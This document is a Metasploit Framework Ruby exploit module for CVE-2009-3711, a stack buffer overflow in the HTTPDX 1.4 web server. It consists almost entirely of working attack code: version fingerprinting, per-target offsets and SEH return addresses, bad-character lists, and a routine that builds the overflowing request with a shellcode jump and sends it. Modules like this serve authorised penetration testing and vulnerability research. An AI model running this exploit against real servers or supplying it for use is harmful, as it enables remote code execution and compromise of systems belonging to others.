Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

##

# httpdx_handlepeer.rb

#

# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework

#

# Tested successfully on the following platforms

#  - HTTPDX 1.4 on Microsoft Windows XP SP3

#

# This vulnerability was found by Pankaj Kohli, see references.

#

# Trancer

# http://www.rec-sec.com

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GreatRanking

        HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }

        include Msf::Exploit::Remote::HttpClient

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The

                                vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.

                                By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.

                        },

                        'Author'         =>

                                [

                                        'Pankaj Kohli <pankaj208[at]gmail.com>',        # Original exploit [see References]

                                        'Trancer <mtrancer[at]gmail.com>',                        # Metasploit implementation

                                        'jduck'

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '58714' ],

                                        [ 'CVE', '2009-3711' ],

                                        [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],

                                        [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process'

                                },

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 472,

                                        # other characters get mangled, but only in a temporary buffer

                                        'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",

                                        'StackAdjustment' => -3500,

                                        # 'DisableNops'        =>  'True'

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [        'httpdx 1.4 - Windows XP SP3 English',

                                                {

                                                        'Offset'         => 476,

                                                        'Ret'                 => 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)

                                                        'Readable'         => 0x63b80131          # early in n.dll

                                                }

                                        ],

                                        [        'httpdx 1.4 - Windows 2003 SP2 English',

                                                {

                                                        'Offset'         => 472,

                                                        'Ret'                 => 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)

                                                        'Readable'         => 0x63b80131          # early in n.dll

                                                }

                                        ]

                                ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Oct 08 2009'

                ))

        end

        def check

                info = http_fingerprint  # check method

                if info and (info =~ /httpdx\/(.*) \(Win32\)/)

                        return Exploit::CheckCode::Vulnerable

                end

                Exploit::CheckCode::Safe

        end

        def exploit

                uri = payload.encoded

                if target['Offset'] > payload_space

                        pad = target['Offset'] - payload_space

                        uri << rand_text(pad)

                end

                uri << generate_seh_record(target.ret)

                # jmp back to shellcode

                uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string

                # extra causing hitting end of the stack

                uri << rand_text_alphanumeric(1024)

                uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)

                sploit = '/' + rand_text(3) + '=' + uri

                # an empty host header gives us 512 bytes in the client structure

                # (the client->filereq and client->host buffers are adjacement in memory)

                datastore['VHOST'] = ''

                print_status("Trying target #{target.name}...")

                res = send_request_raw(

                        {

                                'uri'      => sploit

                        }, 5)

                handler

        end

end